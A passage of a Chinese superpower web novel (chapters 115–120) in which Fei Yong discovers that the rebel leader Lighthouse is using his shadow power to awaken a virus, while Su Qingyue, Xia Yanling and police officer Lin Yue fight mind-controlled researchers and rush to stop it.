“否则屏障会反噬基地,对吧?”费勇接过话头。他突然想起风行者最后那条消息,“内鬼是夜枭”几个字还在通讯器的屏幕上闪。如果灯塔是友,为什么要隐瞒夜枭的事?如果是敌,又为什么要拿出母亲的遗物?
控制台突然发出刺耳的警报,全息屏上的防御圈彻底消失,代表裁决会的红点已经出现在核心室门外。灯塔的脸色沉了下去:“没时间犹豫了!”
费勇看着胸口的影核,那东西正散发着灼热的温度,仿佛在催促他做出决定。他想起夏艳玲贴在玻璃上的脸,想起苏清月在藏书室认真研究古籍的样子,想起风行者那条带着错别字的消息——“照顾好夏艳玲的草莓糖”。
“如果我出了事,”费勇的影子化作尖刺,瞬间刺穿那个藏着病**管的研究员的肩膀,对方闷哼一声倒在地上,“保护好他们。”
灯塔的眼神闪了闪,没说话。
费勇不再犹豫,将影核从胸口抽出。那枚菱形的晶体在接触到影核的瞬间爆发出刺眼的光芒,他感觉全身的能量都被强行抽离,顺着地面的纹路涌向基地的每个角落。暗影能量所过之处,金属墙壁浮现出流动的黑色屏障,将外面传来的**声隔绝在外。
“成功了……”灯塔的声音带着如释重负。
费勇却笑不出来。他的影子正在被屏障同化,变得越来越稀薄,像快要被风吹散的烟。更让他心惊的是,通过影子传递来的感知里,基地外围根本没有风行者小队的踪迹,只有裁决会的执法者在屏障外徘徊,动作悠闲得像在等待什么。
就在这时,影核突然传来一阵剧痛。父亲的残念冲破束缚,在他意识里发出清晰的警告,带着前所未有的恐慌:
“别信他!”
费勇猛地抬头,看到灯塔正站在阴影里,黑袍下的手做出个奇怪的手势,地面的光纹突然改变了流向,原本保护基地的暗影能量,正悄无声息地向701研究所的方向汇聚。
第116章:苏清月的古籍破解
藏书室的橡木书架在震动中发出不堪重负的**,苏清月用藤蔓将最顶层的古籍固定住,指尖不小心蹭过某本线装书的封面,落下的灰尘里混着点点荧光——是生命绿藤异能感知到的能量残留,微弱却异常熟悉。
“找到了。”她轻声说,将那本封面写着《青禾草木志》的日记抽出来。书脊处贴着爷爷的藏书章,边角磨损得厉害,显然被翻阅过无数次。基地的电力还没恢复,她只能借着应急灯的冷光快速翻动,泛黄的纸页上除了植物图谱,还夹杂着许多用朱砂写的批注,字迹潦草得像是在极度慌乱中写下的。
“影蚀病毒……非虫非菌,以暗影能量为食……”苏清月的呼吸渐渐急促。爷爷在十年前的觉醒潮中神秘死亡,家族留下的古籍里从没有过如此直白的记载,这更像是本来不及整理的实验日志。
她的指尖停在某页插图上。画中是株缠绕着黑色藤蔓的植物,根部的纹路扭曲盘旋,竟与费勇影核上的图案分毫不差。旁边用红笔标注着行小字:“暗影本源=病毒抗体,701研究所地底有其巢穴。”
“701研究所……”苏清月猛地抬头,应急灯的光恰好照在对面的墙壁上,那里挂着张基地成员手绘的城市地图,贫民区的位置被圈了个红圈——而根据老鬼提供的资料,十年前701研究所的废墟,就在贫民区的正下方。
脑海里突然闪过夏艳玲昨天画的涂鸦:黑色的巨手从地下伸出,抓着无数挣扎的人影,天空是漩涡状的暗红色。当时小姑娘指着画哭着说:“娃娃说这里会出事。”
“黑色巨手是病毒聚合体,贫民区的掩埋点是它的巢穴!”苏清月豁然起身,椅子被带得向后翻倒,发出刺耳的声响。她必须立刻找到费勇,灯塔启动的影界屏障看似在保护基地,实则可能在给病毒输送能量——爷爷的日记里明确写着,暗影能量会加速病毒的增殖。
刚跑到藏书室门口,走廊尽头突然传来脚步声。苏清月下意识地催生藤蔓缠上门框,指尖凝聚出三枚淬了麻痹药剂的叶片——基地里的情况远比想象中复杂,每个没被确认身份的人都可能是敌人。
来人穿着研究员的白大褂,戴着厚厚的眼镜,胸前的工作证写着“陈默”。苏清月对他有点印象,是负责整理古籍修复的,平时沉默寡言,总是埋着头做事。
“苏医生,你要出去吗?”陈默推了推眼镜,镜片后的眼睛在阴影里显得格外大,“外面不安全,刚才有个被精神控制的研究员冲进了西区,老鬼让大家待在原地别动。”
他说话时右手一直插在口袋里,手指的关节因为用力而发白。苏清月的生命绿藤异能能感知到生命体的能量波动,此刻却从对方身上感觉不到丝毫活人的气息,只有种冰冷的、机械般的韵律——和那些被裁决会控制的傀儡一模一样。
“是吗?我刚收到费勇的消息,让我去核心室送点药剂。”苏清月不动声色地后退半步,背对着书架上的暗门,那是老鬼为她留的紧急逃生通道,“你看到老鬼了吗?他说有本关于病毒抗体的古籍要给我。”
陈默的嘴角突然向上弯起个诡异的弧度,与他平时木讷的样子判若两人。“老鬼?”他轻笑一声,眼镜片反射出应急灯的光,“他现在应该忙着处理自己的‘后事’吧。”
话音未落,他的左手突然从口袋里抽出,握着支装满暗红色液体的针管,针头闪着寒光直刺苏清月的脖颈。“判官说,你的生命能量很适合培养病毒。”
苏清月早有准备,脚下的藤蔓猛地窜起,像条绿色的鞭子抽向陈默的手腕。同时身体向后一仰,借着书架的反作用力撞开暗门,整个人滚进了通道里。
“反应真快。”陈默的声音从门外传来,带着令人毛骨悚然的笑意,“可惜你跑不掉的,整个基地的通风系统都被我们换了药剂,再过十分钟,所有人都会变成病毒的养料。”
通道里一片漆黑,苏清月只能凭着记忆向前跑,藤蔓在头顶织成防护网,挡住不断落下的碎石。她的心跳得像擂鼓,爷爷的日记、夏艳玲的画、陈默的话在脑海里交织成一张网,指向一个可怕的真相:裁决会的目标从来不是摧毁基地,而是把这里变成培养病毒的温床。
突然,口袋里的通讯器震动了一下,是条来自夏艳玲的短讯,只有三个字:“救娃娃。”
苏清月的心瞬间揪紧。她把夏艳玲安置在地下避难所时,小姑娘抱着布娃娃不肯撒手,说那是“爸爸留下的护身符”。现在看来,避难所也已经不安全了。
刚冲出通道,就看到夏艳玲站在走廊的拐角处,怀里紧紧抱着布娃娃,小脸吓得煞白,却还是倔强地瞪着前方。她的面前站着两个研究员,其中一个正是陈默,另一个苏清月也认识,是负责给费勇做身体检查的李医生。
“小丫头,把娃娃交出来。”李医生的脸上带着
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贪婪的笑,“这可是用初代异能者的情绪核心做的,用来培养病毒再好不过了。”
夏艳玲把布娃娃抱得更紧了,眼泪在眼眶里打转,却咬着牙不肯哭出声。“这是我的……不准你们碰!”
“敬酒不吃吃罚酒。”陈默上前一步,针管再次举起。
就在这时,夏艳玲怀里的布娃娃突然剧烈抖动起来,缝合的嘴角处裂开道缝隙,涌出阵阵白色的寒气。苏清月惊讶地发现,那些寒气里夹杂着细小的冰粒,每一颗都凝聚着极其纯粹的恐惧能量——是夏艳玲的情绪具象化!
“小心!”陈默的话音未落,布娃娃突然炸开,无数冰刺像暴雨般射向两个研究员。其中一根精准地刺穿了陈默持针管的手背,暗红色的液体溅在地上,瞬间腐蚀出一个个小坑。
“这怎么可能……”李医生惊骇地后退,他显然没料到这个看起来毫无威胁的小姑娘,竟然能爆发出如此强的能量。
苏清月趁机冲上前,藤蔓如同活物般缠上两人的脚踝,同时将夏艳玲护在身后。“艳玲,没事了。”她轻声说,指尖凝聚出治愈光粒,落在小姑娘颤抖的肩膀上。
夏艳玲摇摇头,指着陈默的脸小声说:“姐姐,他眼睛里有东西。”
苏清月这才注意到,陈默和李医生的瞳孔深处,都有个淡红色的印记在缓缓旋转,像是枚缩小的审判标记。爷爷的日记里提过,裁决会的精神控制会在被控制者的体内留下印记,只有极强的能量冲击才能消除。
“你们是谁的人?灯塔是不是和判官有勾结?”苏清月厉声问道,藤蔓渐渐收紧,勒得两人发出痛苦的**。
陈默的身体突然剧烈抽搐起来,像是在抵抗某种力量。几秒钟后,他抬起头,眼神恢复了片刻清明,嘴角溢出黑色的血液:“快……阻止灯塔……他在利用费勇的暗影本源……唤醒病毒……”
话音未落,他的瞳孔再次被红色印记覆盖,整个人瘫软在地,失去了生命气息。李医生则趁苏清月分神的瞬间,挣脱藤蔓的束缚,头也不回地冲向楼梯间。
“追吗?”夏艳玲拉了拉苏清月的衣角,布娃娃的碎片还攥在她的手心里,泛着微弱的光芒。
苏清月望着核心室的方向,那里的暗影能量波动越来越强,已经到了几乎要溢出来的地步。“不,我们去找费勇。”她握紧拳头,藤蔓在脚下织成地毯,“必须在一切无法挽回之前,告诉他真相。”
第117章:影界屏障的代价
费勇的影子正在以肉眼可见的速度变得稀薄。
他像尊雕塑般定在控制台前,影核嵌在凹槽里发出灼热的温度,顺着指尖蔓延到全身,每一寸血管都像被岩浆冲刷。暗影能量从他体内源源不断地涌出,顺着地面的纹路流向基地各处,黑色的屏障在外部不断增厚,将裁决会的攻击声闷成遥远的雷鸣。
“感觉怎么样?”灯塔的声音在旁边响起,他始终站在阴影里,黑袍下摆随着能量流动微微摆动,“你父亲当年启动这个阵法时,撑了不到五分钟就咳血了。”
费勇没力气回答。他的视线已经开始模糊,应急灯的光在视网膜上拖出长长的残影,像无数条扭动的蛇。通过影子传递的感知却异常清晰——屏障外的执法者们根本没有强攻,只是列成整齐的方阵,举着武器静立不动,像在等待某个信号。
风行者的小队毫无踪迹。
这个认知像根冰锥扎进费勇的意识。他想起风行者最后那条消息,发信时间显示就在三分钟前,地点标注是贫民区边缘的废弃工厂。以超音速的速度,足够对方冲回基地支援,除非……
“他们快到了。”灯塔像是看穿了他的心思,突然抬手调出全息屏,上面显示着个闪烁的绿点正在快速靠近,“你看,风行者从来不会让人失望。”
费勇的瞳孔缩了缩。那个绿点的移动速度确实快得惊人,轨迹却透着诡异——它在绕着基地外围转圈,像是在故意拖延时间。更让他心惊的是,绿点的能量波动里,混杂着一丝属于裁决会审判长的空间碎片气息。
是假的。
影核突然剧烈跳动,父亲的残念在里面发出愤怒的咆哮。费勇猛地低头,发现自己的影子已经变得半透明,边缘处甚至开始泛起黑色的烟,像被火焰灼烧的纸。
“能量消耗太快了……”他咬着牙挤出这句话,舌尖尝到铁锈般的血腥味。维持屏障的代价远比想象中沉重,不仅在抽走异能,连生命力都在被疯狂吞噬。手腕上的血管凸起,呈现出与影核相同的黑色纹路。
“再坚持一会儿。”灯塔的声音带着不容置疑的强硬,“只要等病毒聚合体苏醒,屏障的能量就会自动循环,到时候……”
“到时候我就成了干尸,对吗?”费勇突然笑了,笑声嘶哑得像破旧的风箱。他的影子突然分出一缕,化作细针刺向全息屏的线路接口——屏幕瞬间黑屏,露出后面藏着的信号发射器,闪烁的红光与裁决会的通讯频率完全一致。
灯塔的脸色终于变了。
“你什么时候发现的?”他的声音冷了下来,阴影里的手悄悄握紧,“是老鬼告诉你的?还是你父亲的残念?”
费勇没有回答。他的注意力全在影子的感知上——屏障内侧的能量流动正在发生变化,原本均匀分布的暗影能量,正被某种力量牵引着,向地下三层汇聚。那里是基地的能量枢纽,也是……夜枭自爆的位置。
“你在给病毒输送能量。”费勇的声音抖得厉害,不是因为害怕,而是愤怒,“爷爷的日记里写过,影蚀病毒能通过暗影能量自我复制,你启动屏障根本不是为了防御,是为了给贫民区的巢穴当‘充电宝’!”
这句话是他诈出来的。苏清月还没赶到,他对病毒的了解仅限于影核传递的模糊信息,但灯塔瞬间僵硬的肩膀印证了猜测。
“看来老鬼把什么都告诉你了。”灯塔缓缓走出阴影,左眉骨的疤痕在光线下异常狰狞,“可惜太晚了,能量传输已经完成百分之七十,就算现在停下,病毒聚合体也会在半小时内苏醒。”
他突然抬手扯开黑袍,露出胸口——那里嵌着块与影核相似的晶体,只是颜色漆黑,表面爬满血管状的纹路,正随着呼吸微微搏动。“你以为只有你能操控暗影本源?”
费勇的瞳孔骤缩。那块晶体散发的能量波动,与影蚀病毒同源却更强大,像是……被驯化的病毒母体。
“这是你父亲的‘遗物’。”灯塔抚摸着胸口的晶体,语气里带着病态的狂热,“当年701研究所**,他把一半的暗影本源注入病毒,想以此控制它,结果反被吞噬。我只是……帮他完成未竟的事业。”
“疯子。”费勇的影子突然暴涨,瞬间笼罩住半个核心室,影刃在空气中划出刺耳的嗡鸣,“我父亲绝不会用无辜者的生命喂病毒!”
“无辜?”灯塔猛地提高声音,黑袍无风自动,“十年前那场觉醒潮,**多少人?你父母,我妹妹,还有那些被裁决会当成实验品的异能者,谁不是无辜的?!”他的眼睛里布满血丝,“只有让病毒进化到完美形态,才能彻底摧毁裁决会,这是唯一的办法!”
费勇懒得再争辩。他能感觉到,自己的影子正在加速消散,指尖已经开始发麻。必须在彻底失去力量前毁掉那个信号发射器,否则苏清月和夏艳玲冲进来,只会成为灯塔的人质。
“你以为你还有力气动手?”灯塔看穿了他的意图,冷笑一声,“你的生命力只剩下不到三成,影子连影刃都维持不住了。”
确实如此。费勇凝聚出的影刃刚成型就崩解成黑雾,连最基础的攻击都做不到。
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他的视线越来越模糊,身体晃了晃,差点栽倒在地。
就在这时,影核突然爆发出刺眼的光芒。父亲的残念冲破束缚,化作道模糊的人影浮现在费勇身后,虽然看不清面容,却带着令人心安的气息。
“小勇,记住……暗影的本质不是吞噬,是守护。”
随着这句话响起,费勇感觉体内涌出股暖流,原本枯竭的异能竟然恢复了一丝。影子不再消散,反而开始逆向流动,重新凝聚成形,边缘处的黑色烟雾也渐渐褪去。
“不可能!”灯塔失声惊呼,他胸口的黑色晶体突然剧烈震动,发出痛苦的嗡鸣,“你怎么可能……”
费勇没有理会他的震惊。他的影子顺着地面快速蔓延,避开灯塔的视线,悄悄缠上信号发射器的底座。只要再注入一丝能量,就能彻底毁掉这个装置。
“我父亲到底是**的?”他突然开口,声音平静得不像在问生死攸关的问题。
灯塔的动作顿住了。他盯着费勇身后父亲的残念虚影,眼神复杂得像是在看仇人,又像是在看亲人。“他自愿的。”过了很久,他才低声说,“为了阻止病毒失控,他把自己当成了容器,让我……杀了他。”
这句话里的破绽太明显了。费勇的影子猛地收紧——信号发射器发出声脆响,彻底报废。
“撒谎。”费勇的声音冷得像冰,“我父亲的影子告诉我,杀他的人,左眉骨有块疤。”
灯塔的脸色瞬间惨白。
就在这时,费勇的影子突然不受控制地暴涨,黑色的纹路顺着皮肤快速蔓延,覆盖了他的半张脸。一股陌生的能量从控制台涌入体内,狂暴而冰冷,与暗影本源截然不同,却在强行篡改他的异能频率。
“快撑不住了?我帮你。”灯塔的脸上重新露出笑容,只是那笑容里再无温度,他的手按在费勇的肩膀上,黑色晶体的光芒与控制台的纹路同步闪烁,“这是你父亲留下的‘馈赠’,能让你成为完美的暗影容器,高兴吗?”
费勇感觉自己的意识正在被剥离。影子变得狂躁不安,在地面上扭曲成各种狰狞的形状,甚至开始攻击周围的设备。他想挣脱,身体却像被钉在原地,只能眼睁睁看着黑色纹路爬上脖颈。
屏障外突然传来震天的**声。
通过影子的感知,费勇“看”到了令他目眦欲裂的景象——贫民区的方向升起巨大的黑色漩涡,无数道黑影从里面伸出,像贪婪的手臂抓向天空。而漩涡的能量波动,与他体内那股陌生的能量,完美共鸣。
病毒聚合体,醒了。
第118章:林悦的援军
轮胎碾过碎石的刺耳声响在废墟间回荡,林悦猛地踩下刹车,越野车在离包围圈十米处甩了个漂亮的漂移,车头正对那些被控制的异能者。她扯掉安全带,顺手抓起后座的特制警棍——棍身缠绕着导电线圈,末端闪烁着危险的蓝光。
“张叔,李姐,老赵,跟紧了!”她头也不回地喊道,推开车门的瞬间,电流已经顺着指尖爬满全身,在空气中拉出细碎的火花。“特调科办案,无关人等趴下!”
回应她的是异能者们嘶哑的咆哮。这些人双眼泛着灰雾,四肢以诡异的角度扭曲着,皮肤下青筋暴起,呈现出与影蚀病毒相似的黑色纹路。最前排的男人抬手凝聚出火球,带着刺鼻的焦味直扑过来。
“来得好!”林悦不退反进,警棍横扫,蓝色电流瞬间织成电网,将火球劈成漫天火星。“老赵,左路!李姐断后!张叔跟我找风行者!”
被点名的三人动作利落得像出鞘的刀。老赵的“金属变形”异能让他手臂化作两柄钢斧,劈开迎面而来的冰锥;李姐的“声波屏障”在身后炸开,震得追来的异能者动作迟滞;张叔则掏出***,白色浓雾瞬间弥漫开来,为他们撑起临时屏障。
这三人是林悦在特调科最信得过的老同事。半小时前,她接到风行者小队的求救信号,向上级申请支援却被以“维持秩序”为由拒绝——那一刻,她看着办公室里那些面无表情的领导,突然明白父亲日记里写的“特调科早被渗透”不是危言耸听。
“一群废物。”林悦啐了一口,电流顺着地面蔓延,将两个试图偷袭的异能者电得抽搐倒地。她的视线穿透浓雾,精准锁定在包围圈中心的身影——风行者半跪在地上,右手捂着流血的左肩,超音速带来的残影还没完全消散,显然是强撑着在突围。
“风行者,别死!”林悦扬声喊道,警棍重重砸在地面,高压电流以她为中心炸开,形成半径五米的雷暴圈。被波及的异能者纷纷倒地,包围圈硬生生撕开一道口子。
风行者猛地抬头,看清来人时明显愣了一下,随即扯出个比哭还难看的笑:“林警官?你这是……叛逃了?”他的声音虚弱得厉害,左肩的伤口处,几缕黑色碎片正像活物般往里钻,所过之处,皮肤迅速干瘪下去。
“少废话!”林悦冲到他身边,蹲下检查伤口,瞳孔骤然收缩。那些黑色碎片带着空间撕裂的波动,边缘处的空气都在微微扭曲,这是裁决会审判长“空间碎片切割”的典型特征。“这伤怎么回事?”
“被阴了……”风行者咳了口血,视线开始模糊,“那审判长……故意让我带伤回来……他说……病毒喜欢新鲜的异能者血液……”
林悦的心脏猛地一沉。她突然想起父亲日记里的某段话:“空间碎片携带的异能量可被异能者血液中和,需以自身能量为引,强行压制其活性。”当时只当是父亲的实验笔记,现在想来,恐怕是针对裁决会的弱点研究。
“忍着点!”她没多余时间解释,反手抽出腰间的****,毫不犹豫地划破自己的手掌。鲜血涌出的瞬间,她将伤口按在风行者的左肩处,同时催动雷霆异能——红色的血液与蓝色的电流交织在一起,像条扭动的双色蛇,顺着伤口往里钻。
“呃啊——”风行者疼得浑身抽搐,额头上瞬间布满冷汗,但他死死咬着牙没再发出一声痛呼。那些黑色碎片在接触到混合能量的瞬间剧烈抖动起来,像是被滚烫的烙铁烫到,原本往里钻的势头竟真的停住了。
“有用!”林悦眼睛一亮,正想加大能量输出,突然听到身后传来金属断裂的脆响。她猛地回头,看到老赵被三个异能者缠住,左臂的钢斧出现裂痕,显然快撑不住了。
“张叔!搭把手!”她喊道,电流再次爆发,暂时逼退围上来的敌人。“风行者,还能站吗?我们得先把你转移到安全区!”
风行者点点头,挣扎着站起来,右腿却一软——刚才为了掩护队友,他的腿被冰锥刺穿,此刻血已经浸透了裤管。“别管我……去找平民……东边仓库里……还有十几个没被控制的……”
“闭嘴!”林悦瞪了他一眼,突然弯腰将他架起来,半拖半扶地往烟雾弥漫的方向移动。“你**谁给费勇证明清白?内鬼的事还没说清楚呢!”
提到内鬼,风行者的眼神突然锐利起来:“是夜枭……**器是他放的……他早就和裁决会有勾结……”话音未落,他突然剧烈咳嗽起来,咳出的血沫里竟混着细小的黑色碎片。
林悦的心沉到了谷底。空间碎片的侵蚀比想象中更严重,她的血液只能暂时压制,根本无法清除。
“老赵,李姐,交替掩护!”她调整姿势,让风行者的重量更多地压在自己身上,“我们去东边仓库!”
穿过烟雾的瞬间,林悦瞳孔骤缩。仓库门口的铁栅栏已经被撕开,里面传来女人和孩子的哭喊声。三个被控制的异能者正站在门口,其中一人的“土系操控”异能让地面不断隆起,将平民逼向角落。
“放开他们!”李姐的声波攻击率先抵达,震得那三人动作一僵。老赵趁机掷出钢斧,斩断了操控土块的异能者手臂。
林悦架着风行者冲进仓库,反手甩出三道电流,精准打在三个异能者的关节处。“张叔,关门!”她喊道,视线快速扫过仓库——十几个平民缩在角落,大多是老
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人和孩子,其中一个抱着布娃娃的小女孩,正睁大眼睛看着她,眼神里没有恐惧,只有一种超乎年龄的平静。
“别怕,我们是来救你们的。”林悦放柔声音,刚想让李姐过来安抚孩子,突然听到张叔的惊呼声。
“看天上!”
所有人下意识地抬头,透过仓库破损的屋顶,看到了终生难忘的景象——贫民区上空的云层正在快速旋转,形成一个巨大的黑色漩涡,漩涡中心隐约可见无数黑影在扭动,像是有什么庞然大物即将破云而出。更诡异的是,漩涡散发出的能量波动,竟与基地方向传来的暗影能量产生了共鸣,地面都在随着这种共鸣微微震颤。
“那是……”风行者的声音带着难以置信的惊骇,“病毒聚合体……它醒了……”
林悦握紧了流血的手掌,电流在她掌心不安地跳动。她能感觉到,那漩涡里蕴含的能量极其恐怖,像是浓缩了无数异能者的绝望与痛苦。而更让她心惊的是,这种能量波动里,竟混杂着一丝属于费勇的暗影气息。
“基地那边……”李姐的声音带着颤抖,“费勇他……”
“别瞎想!”林悦打断她,眼神重新变得坚定,“老赵,加固仓库防御!李姐,检查平民有没有受伤!张叔,联系总部……不,联系青禾堂的苏清月,告诉她这里的情况!”她看向风行者,“你说,病毒巢穴在哪?”
风行者指向仓库角落的地窖入口:“在地下……审判长用空间碎片封锁了入口……只有打破封锁,才能毁掉巢穴……”
林悦深吸一口气,抬手抹掉脸上的血污。掌心的伤口还在流血,但她感觉不到疼,只有电流在血管里奔涌的灼热感。“张叔,借你的**用用。”她咧嘴一笑,露出点痞气的模样,“当年你教我的爆破理论,今天正好实践实践。”
张叔愣了一下,随即从背包里掏出几枚特制**:“丫头,这可不是演习。”
“我知道。”林悦接过**,指尖的电流小心地避开引信,“但总不能让那些杂碎把整个城市都变成病毒养殖场吧?”她看向风行者,“能站起来吗?这次,换你带我开开胃。”
风行者看着她掌心与自己伤口相连的血迹,突然笑了,虽然脸色依旧苍白,眼神却重新燃起了光:“坐稳了,林警官。超音速可是会让人晕车的。”
他站直身体,左肩的黑色碎片虽然还在挣扎,却被血液与电流牢牢锁在原处。周围的空气开始扭曲,他的身影渐渐变得模糊,带着林悦一起,化作道残影冲向地窖入口。
仓库外,黑色漩涡的旋转速度越来越快,天空彻底暗了下来,仿佛整个世界都要被吸入那无尽的黑暗之中。
第119章:夏艳玲的情绪风暴
走廊顶灯忽明忽灭,苏清月拽着夏艳玲的手腕在阴影里疾行。藤蔓在她们身后快速生长,织成临时屏障挡住追来的脚步声,叶片摩擦的沙沙声里,混着她越来越急促的喘息。
“清月姐姐,你的手在流血。”夏艳玲突然停下脚步,小手指向苏清月的左臂。那里被刚才偷袭的研究员划开一道口子,血珠正顺着指尖滴落在地,在瓷砖上晕开细小的红痕。
苏清月这才感觉到疼。她皱了皱眉,另一只手凝聚出绿色光粒按在伤口上,光粒接触皮肤的瞬间,却只泛起微弱的涟漪——治愈能力正在变弱,显然是通风系统里的药剂开始生效了。
“没事,小伤。”她勉强笑了笑,正想拉着夏艳玲继续走,走廊拐角突然传来机械的咔嗒声。两个穿着白大褂的研究员站在那里,脸上挂着与陈默如出一辙的诡异笑容,瞳孔里淡红色的审判标记在昏暗的光线下格外刺眼。
“找到你们了。”左边的研究员抬手,金属托盘凭空悬浮在他面前,上面摆着三支装满暗红色液体的针管,“判官说,小姑娘的情绪核心是最好的培养基。”
苏清月立刻将夏艳玲护在身后,脚下的藤蔓破土而出,像两条蓄势待发的蛇。“艳玲,记住我教你的,闭紧眼睛集中注意力!”她的声音冷静得不像身处险境,但微微颤抖的指尖暴露了她的紧张——这些被精神控制的研究员,比普通异能者更难对付,他们感受不到疼痛,只会执行命令。
“跑!”苏清月突然大喊,藤蔓猛地向前窜出,缠住两个研究员的脚踝。同时她拽着夏艳玲向右侧的安全通道冲去,那里有老鬼留下的备用电梯,能直达核心室下方。
但研究员的反应更快。右边那人抬手一挥,托盘里的针管突然调转方向,像追踪**般射向她们的后背。苏清月只能猛地转身,催生藤蔓结成护盾,针管撞在盾上发出沉闷的响声,暗红色液体溅在叶片上,瞬间腐蚀出三个黑洞。
“姐姐!”夏艳玲的惊呼让苏清月心头一紧。她回头的瞬间,没注意到左边的研究员已经挣脱藤蔓,正举着针管扑向她的侧腰——那里是她刚才被划伤的位置,防御最薄弱。
“小心!”夏艳玲突然推开苏清月,自己却被研究员的手肘撞到墙壁。怀里的布娃娃掉在地上,缝合的嘴角裂开更大的口子,露出里面填充的白色棉絮。
就是这个瞬间。
苏清月眼睁睁看着夏艳玲的眼睛里瞬间蓄满泪水,却不是因为疼痛,而是一种混杂着恐惧与愤怒的强烈情绪。小姑娘死死盯着那个举着针管的研究员,小手紧紧攥成拳头,指甲几乎嵌进掌心。
“不准……欺负姐姐!”
随着这句话喊出,掉在地上的布娃娃突然迸发出刺眼的红光。那些白色棉絮像是被点燃的火绒,瞬间化作熊熊烈焰,在空中凝聚成一条迷你火龙——龙鳞由燃烧的火焰组成,眼睛是两簇跳动的金火,张开嘴发出稚嫩却充满威力的咆哮。
“这是什么?!”研究员们明显愣住了。
火龙的攻击快得让人反应不过来。它像道红色闪电,瞬间撞在左边研究员的胸口,火焰顺着他的白大褂蔓延,发出布料燃烧的噼啪声。更诡异的是,火焰接触到他瞳孔里的审判标记时,竟发出滋滋的响声,标记的红光以肉眼可见的速度黯淡下去。
“啊——”研究员发出痛苦的嘶吼,不再是机械的音节,而是带着真实的恐惧。他踉跄着后退,试图扑灭身上的火,却发现那些火焰像是附骨之疽,越烧越旺。
右边的研究员见状,立刻凝聚出冰锥射向夏艳玲。苏清月趁机催生藤蔓将他缠住,同时冲向夏艳玲:“艳玲,没事吧?”
“我没事。”夏艳玲摇摇头,眼泪还挂在睫毛上,眼神却异常坚定。她伸出小手,掌心向上,那些原本灼烧研究员的火焰突然倒流,回到她的掌心化作一枚红色光粒。紧接着,更神奇的事情发生了——她的另一只手心里,渐渐浮现出金色的光粒,像细碎的星星在闪烁。
“姐姐,你的伤。”夏艳玲将金色光粒推向苏清月的左臂。光粒接触到伤口的瞬间,原本缓慢愈合的皮肤突然开始快速再生,黑色的腐蚀痕迹以肉眼可见的速度消退,连疤痕都消失得无影无踪。
苏清月震惊地看着自己的手臂。她能感觉到,这金色光粒里蕴含着纯粹的生命能量,与她的治愈能力同源,却更加温和强大——这是希望情绪的具象化!
“双……双情绪具象化?”她喃喃道,突然想起古籍里的记载:初代情绪异能者能同时操控正负情绪,是病毒最畏惧的存在。
就在这时,被火焰灼烧的研究员突然停止挣扎。他身上的火焰已经熄灭,白大褂焦黑一片,瞳孔里的审判标记彻底消失,取而代之的是茫然与惊恐。“我……我怎么会在这里?”他捂着头蹲下身,记忆像是刚从混沌中挣脱,“我记得……我在整理古籍,然后闻到一股奇怪的香味……”
苏清月的心跳漏了一拍。她看向另一个还被藤蔓缠住的研究员,对方瞳孔里的标记还在闪烁,但光芒已经很微弱。“你是谁?为什么要注射这种药剂?”她厉声问道。
被缠住的研究员还在挣扎,嘴里发出意义不明的嘶吼。但那个恢复清醒的研究员突然颤抖着开口:“是灯塔……是他
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命令我们做的!”
这句话像惊雷在走廊里炸响。
“你说什么?”苏清月的声音都在发抖,“灯塔是破晓的首领,他怎么会……”
“是真的!”恢复清醒的研究员急忙解释,“三天前,我无意中听到他和一个戴面具的人通话,那个自称判官的人说,只要用精神控制药剂控制基地一半的人,就能在病毒聚合体苏醒时,把他们当作‘养料’……”他的声音带着哭腔,“灯塔还说,费勇的暗影本源是最好的催化剂,等病毒成熟,就能……”
“就能什么?”夏艳玲突然问道,小手再次握紧,掌心的红色光粒重新变得灼热。
研究员被她的眼神吓得一哆嗦,断断续续地说:“就能……取代判官,成为新的……病毒主宰……”
苏清月只觉得一股寒意从脚底窜上天灵盖。爷爷的日记、陈默的话、现在这个研究员的供词,所有线索都指向一个可怕的真相——灯塔从一开始就在利用费勇,所谓的破晓组织,恐怕从建立起就是个骗局。
“核心室……”苏清月猛地拽起夏艳玲,“我们必须马上阻止费勇!”
就在她们冲向安全通道时,被藤蔓缠住的研究员突然剧烈抽搐起来,瞳孔里的审判标记爆发出刺眼的红光,随后身体软软地倒下去,彻底没了气息。恢复清醒的研究员惊恐地后退:“是判官!他能远程引爆被控制者!”
苏清月没时间理会这些了。她能感觉到,核心室的方向传来越来越强的能量波动,暗影能量与病毒能量的共鸣越来越清晰,像两只即将完成咬合的齿轮。
“姐姐,你看。”夏艳玲突然指向走廊尽头的窗户。
苏清月转头望去,心脏瞬间被攥紧——基地外的天空已经变成暗红色,贫民区方向的黑色漩涡正在快速扩大,无数道黑色丝线从漩涡延伸出来,连接着基地的影界屏障,像是在吸食屏障的能量。
而在核心室的位置,屏障的黑色正在逐渐被一种诡异的暗红色取代。
“快!”苏清月加快速度,藤蔓在她脚下织成滑道,带着她们向电梯口冲去,“费勇有危险!”
夏艳玲紧紧抓着她的衣角,怀里重新抱起那个破口的布娃娃。她能感觉到,娃娃里还残留着一丝微弱的能量,那是爸爸留下的气息,也是支撑她前进的勇气。
“费勇哥哥,一定要等着我们啊。”她在心里默默祈祷,掌心的金色光粒再次亮起,与远处核心室的暗红色光芒形成鲜明的对比。
走廊里,只剩下那个恢复清醒的研究员瘫坐在地上,看着她们消失的方向,眼神里充满了劫后余生的庆幸与深深的恐惧。
第120章:影界屏障的裂痕
影核的温度已经超过了临界点。
费勇感觉自己的手臂像是插在熔炉里,黑色纹路顺着血管向上攀爬,所过之处,皮肤泛起诡异的青黑色。他的影子在地面上疯狂扭动,原本纯粹的黑色中混杂着暗红色的丝线,像是被病毒污染的血液。
“屏障的能量转化率提升到98%了。”灯塔站在控制台另一侧,胸口的黑色晶体发出贪婪的嗡鸣,“你看,这才是暗影本源的真正用途——不是守护,是成为孕育新秩序的土壤。”
费勇咬着牙没说话。他的视线已经被血色模糊,只能勉强看到控制台屏幕上跳动的红色数据。暗影能量的流动越来越快,却不再受他控制,大部分都顺着隐秘的管道流向地下三层,只剩下维持屏障的最低限度能量还在体内循环。
父亲的残念在影核里发出痛苦的嘶吼,那些破碎的记忆片段像玻璃碴子扎进他的意识——实验室的白大褂、母亲的眼泪、还有灯塔现在这张脸,在记忆里与另一个穿着同样黑袍的人重叠在一起。
“你到底是谁?”费勇的声音嘶哑得像砂纸摩擦,他试图调动影子攻击,却发现那些暗影能量刚凝聚成形就会被体内的陌生能量瓦解。
灯塔笑了,笑声里带着毫不掩饰的嘲弄:“很快你就会知道了。等病毒彻底吸收你的暗影本源,我们都会成为新世界的神。”他抬手按在控制台的红色按钮上,“最后三十秒,准备迎接净化吧。”
